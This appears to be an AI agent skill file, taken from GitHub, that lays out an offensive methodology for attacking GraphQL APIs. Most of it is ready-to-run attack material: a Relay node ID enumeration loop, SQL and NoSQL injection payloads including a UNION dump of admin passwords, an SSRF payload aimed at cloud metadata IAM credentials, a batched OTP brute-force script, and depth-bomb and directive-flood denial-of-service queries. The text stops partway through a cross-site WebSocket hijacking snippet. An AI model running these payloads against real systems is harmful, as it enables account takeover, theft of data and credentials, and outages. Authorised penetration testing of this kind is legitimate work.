- name
- offensive-graphql
- description
- Offensive methodology for attacking GraphQL APIs during penetration tests and bug bounty engagements. Covers the full attack lifecycle: endpoint discovery, introspection abuse and blind schema reconstruction when introspection is disabled, authentication and authorization bypass through Relay node IDs and nested object traversal, injection via variables and directives, query batching for brute force and OTP bypass, denial of service through depth bombs and alias amplification, WebSocket subscription hijacking, information disclosure through verbose errors and field suggestion oracles, and file upload abuse via the multipart GraphQL specification. Includes tool-specific guidance for InQL, graphql-cop, CrackQL, BatchQL, Altair, GraphQL Voyager, and clairvoyance. Trigger on: GraphQL, graphql, introspection query, batching attack, query depth, GraphQL injection, GraphQL IDOR, field suggestion, GraphQL auth bypass, GraphQL DoS, GraphQL security, graphql-cop, InQL, CrackQL, BatchQL, Relay node, alias amplification, subscription abuse, multipart upload GraphQL, schema enumeration, __schema, __type.
# Offensive GraphQL
GraphQL consolidates an entire API surface behind a single endpoint, making it a high-value target during web application assessments. Unlike REST, where each route maps to a discrete resource, a GraphQL schema exposes every type, field, mutation, and subscription in one queryable structure. Attackers who obtain or reconstruct that schema gain a complete map of the application's data model before writing a single exploit. This skill walks you through each phase of a GraphQL engagement with concrete queries, tool invocations, and chaining patterns.
## Quick Workflow
1. Discover the endpoint -- probe common paths, inspect client-side JS bundles, check WebSocket upgrade headers.
2. Fingerprint the implementation -- use graphw00f to identify the engine and tailor payloads.
3. Dump or reconstruct the schema -- full introspection query; if blocked, field suggestion probing or clairvoyance.
4. Map the attack surface -- feed the schema into GraphQL Voyager or InQL.
5. Test authentication and authorization -- every query and mutation with no token, low-privilege, and cross-user tokens.
6. Inject through resolvers -- SQL, NoSQL, and OS command payloads through arguments and variables.
7. Abuse batching -- arrayed operations for brute force, OTP bypass, and rate limit evasion.
8. Stress depth and complexity -- nested queries, alias fans, and circular fragments.
9. Probe subscriptions -- WebSocket with expired or missing tokens, subscribe to sensitive streams.
10. Exfiltrate via errors -- verbose stack traces, type mismatches, field suggestions.
11. Test file upload -- multipart GraphQL specification for oversized or malicious files.
12. Chain and escalate -- combine findings into multi-step attack paths with proof-of-concept queries.
---
## 1 -- Endpoint Discovery and Fingerprinting
Probe common paths with a minimal query body. A `__typename` response confirms a live GraphQL endpoint.
```bash
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' | jq .
```
Paths to probe: `/graphql`, `/graphiql`, `/v1/graphql`, `/v2/graphql`, `/api/graphql`, `/graphql/console`, `/playground`, `/explorer`, `/query`. Some servers accept GET requests:
```bash
curl -s "https://target.com/graphql?query=\{__typename\}"
```
Fingerprint the implementation to determine default behaviors (introspection state, error format, batching syntax):
```bash
python3 graphw00f.py -t https://target.com/graphql
```
Run graphql-cop for a one-pass configuration audit -- it reports introspection status, field suggestion leaks, GET-based query acceptance (CSRF risk), and unrestricted batching:
```bash
python3 graphql-cop.py -t https://target.com/graphql
```
---
## 2 -- Introspection and Blind Schema Reconstruction
### Full Introspection Dump
When introspection is enabled, pull the entire schema in one request. This is the single most valuable recon step.
```graphql
query FullIntrospection {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
kind name description
fields(includeDeprecated: true) {
name args { name type { ...T } defaultValue } type { ...T }
}
inputFields { name type { ...T } defaultValue }
interfaces { ...T }
enumValues(includeDeprecated: true) { name description }
possibleTypes { ...T }
}
directives { name description locations args { name type { ...T } } }
}
}
fragment T on __Type {
kind name ofType { kind name ofType { kind name ofType { kind name } } }
}
```
Pipe the result into GraphQL Voyager for visual exploration, or load InQL in Burp Suite -- it parses the schema and generates individual queries for every field and mutation.
### Targeted __type Queries
When full introspection is disabled but `__type` lookups still work (a common misconfiguration where the server blocks `__schema` but forgets `__type`):
```graphql
query { __type(name: "User") { name fields { name type { name kind } } } }
```
### Bypassing Disabled Introspection
**Field suggestion oracle.** Most engines return "Did you mean..." when you query a non-existent field. Submit plausible names and harvest suggestions:
```graphql
query { __typename aaa }
```
```json
{
"errors": [{
"message": "Cannot query field \"aaa\" on type \"Query\". Did you mean \"user\", \"users\", \"admin\"?"
}]
}
```
Automate this with clairvoyance, which iterates a wordlist, collects suggestions, and assembles a reconstructed schema:
```bash
python3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt -o schema.json
```
**Apollo Sandbox.** If the target runs Apollo Server v3+, navigate to the endpoint in a browser. Apollo Sandbox performs introspection client-side even when the production toggle is off. Check Apollo Studio explorer if the server is registered there.
**Client-side bundles.** Search JS files for query strings, fragment definitions, and type names:
```bash
curl -s https://target.com/static/js/main.js | grep -oP '(query|mutation|fragment)\s+\w+'
```
---
## 3 -- Authentication and Authorization Bypass
Authorization bugs are pervasive because developers must implement field-level checks manually in each resolver. A single missing check on a nested field can expose the entire object graph.
### IDOR Through Relay Node IDs
Relay exposes a global `node` interface that resolves any object by an opaque base64-encoded ID (`Type:numericID`):
```bash
echo -n "VXNlcjoxMjM=" | base64 -d # Output: User:123
```
Forge IDs for other users and query through the node interface:
```graphql
query {
node(id: "VXNlcjoxMjQ=") {
... on User { id email role ssn }
}
}
```
Enumerate sequentially:
```bash
for i in $(seq 1 100); do
id=$(echo -n "User:$i" | base64)
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" \
-d "{\"query\":\"{ node(id: \\\"$id\\\") { ... on User { id email role } } }\"}"
done
```
### Nested Object Authorization Gaps
Authorization enforced on the top-level query often does not carry to nested relationships. Access your own Order, then check whether the customer field traverses to another user's data:
```graphql
query {
myOrders {
id
customer { id email paymentMethods { cardNumber expirationDate } }
}
}
```
The `myOrders` resolver filters by your ID, but the `customer` resolver on Order may eagerly load the associated user without ownership checks.
### Relay Pagination and Cursor Manipulation
Decode opaque cursors (often base64 of an offset) and manipulate the value. If the cursor decodes to `cursor:999`, set it to `cursor:0` to access records from the beginning:
```graphql
query {
users(first: 10, after: "Y3Vyc29yOjA=") {
edges { node { id email } cursor }
pageInfo { hasNextPage endCursor }
}
}
```
### Mutation Authorization
Test every state-changing mutation with no token, low-privilege tokens, and cross-tenant tokens:
```graphql
mutation { updateUser(id: "OTHER_USER_ID", input: { role: "ADMIN" }) { id role } }
mutation { deleteAccount(userId: "OTHER_USER_ID") { success } }
```
---
## 4 -- Injection Through Resolvers
Variables and arguments flow directly into resolver functions. String concatenation in resolvers creates classic injection vectors.
### SQL Injection via Variables
```graphql
query GetUser($name: String!) { user(name: $name) { id email } }
```
```json
{"name": "admin' OR 1=1 --"}
```
Escalate with UNION-based injection:
```json
{"name": "' UNION SELECT username, password FROM admin_users --"}
```
### NoSQL Injection
For MongoDB-backed resolvers:
```json
{"filter": {"username": {"$ne": ""}, "password": {"$ne": ""}}}
```
Time-based detection:
```graphql
query { search(filter: "{\"$where\": \"sleep(5000)\"}") { results } }
```
### Directive Injection and Flooding
Directive flooding -- attaching thousands of `@include(if: true)` directives to a single field -- crashes parsers (CVE-2024-47614 in async-graphql):
```graphql
query { __typename @include(if: true) @include(if: true) @include(if: true) ... }
```
Generate a payload with 10,000 directives programmatically. Custom `@auth` or `@constraint` directives may also accept arguments you can manipulate to override server-side behavior.
### SSRF Through Resolver Arguments
If a mutation accepts a URL argument (webhooks, avatars, imports), test for SSRF:
```graphql
mutation { setAvatar(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") { success } }
```
---
## 5 -- Batching Attacks
GraphQL servers commonly accept arrays of operations in a single HTTP request. Back-end rate limiters often count HTTP requests, not individual operations within a batch, enabling powerful bypass attacks.
### Credential Brute Force
```json
[
{"query": "mutation { login(user: \"admin\", pass: \"password1\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"password2\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"password3\") { token } }"}
]
```
A single HTTP request carries hundreds of login attempts. The rate limiter sees one request.
### OTP / 2FA Bypass
Batch all possible 4-digit OTP values in chunks:
```python
import requests
ops = [{"query": f'mutation {{ verifyOTP(code: "{str(c).zfill(4)}") {{ success token }} }}'}
for c in range(10000)]
for i in range(0, len(ops), 500):
r = requests.post("https://target.com/graphql", json=ops[i:i+500],
headers={"Authorization": "Bearer <session_token>"})
for idx, res in enumerate(r.json()):
if res.get("data", {}).get("verifyOTP", {}).get("success"):
print(f"Valid OTP: {str(i + idx).zfill(4)}")
```
### Alias-Based Batching
Some servers reject array batching but allow alias-based batching within a single query:
```graphql
query {
a1: login(user: "admin", pass: "pass1") { token }
a2: login(user: "admin", pass: "pass2") { token }
a3: login(user: "admin", pass: "pass3") { token }
}
```
Automate with BatchQL and CrackQL:
```bash
python3 batch-ql.py -e https://target.com/graphql \
-q 'mutation { login(user: "admin", pass: "FUZZ") { token } }' -w passwords.txt
python3 CrackQL.py -t https://target.com/graphql -q query.graphql -i inputs.csv --batch-size 500
```
---
## 6 -- Denial of Service
GraphQL's flexible query language is inherently susceptible to resource exhaustion unless the server enforces strict cost controls.
### Depth Bomb
Exploit circular relationships. If User has `friends` returning `[User]`, nest indefinitely -- eight levels deep on a user with 100 friends each triggers 100^8 resolver calls:
```graphql
query DepthBomb {
users {
friends { friends { friends { friends { friends { friends {
id email
} } } } } }
}
}
```
### Alias Amplification
Request the same expensive field thousands of times using aliases. Each alias invokes the resolver independently:
```graphql
query {
a1: expensiveReport(year: 2024) { data }
a2: expensiveReport(year: 2024) { data }
a3: expensiveReport(year: 2024) { data }
# ... repeat 1000 times
}
```
### Circular Fragment Spread
Older implementations may not detect circular references, causing infinite recursion:
```graphql
fragment A on User { friends { ...B } }
fragment B on User { friends { ...A } }
query { user(id: 1) { ...A } }
```
### Incremental Delivery Abuse
If the server supports `@defer` and `@stream`, attach them to expensive subtrees to hold connections open and multiply compute:
```graphql
query {
users(first: 1000) @stream(initialCount: 1) {
id
orders @defer { total items @stream(initialCount: 1) { name price } }
}
}
```
---
## 7 -- Subscription Abuse and WebSocket Hijacking
Subscriptions run over WebSocket using `graphql-ws` or the older `subscriptions-transport-ws` protocol. These long-lived connections present a distinct attack surface.
### Unauthenticated Subscription
Connect without authentication in the `connection_init` payload, then subscribe:
```json
{"type": "connection_init", "payload": {}}
```
```json
{"id": "1", "type": "subscribe", "payload": {"query": "subscription { newOrder { id customer { email } total } }"}}
```
If the server does not validate connection_init, you receive real-time events for all new orders.
### Token Expiry on Long-Lived Connections
WebSocket connections persist after the initial handshake. If the server validates the JWT only during `connection_init`, a token that expires mid-session remains valid for the connection's lifetime. Test by connecting with a short-lived token, waiting for expiry, then sending a new subscription.
### Cross-Site WebSocket Hijacking (CSWSH)
If the WebSocket endpoint relies on cookies and does not validate the Origin header, hijack it from a malicious page:
```html
<script>
var ws = new WebSocket("wss://target.com/graphql", "graphql-ws");
ws.onopen = function() {
View on GitHub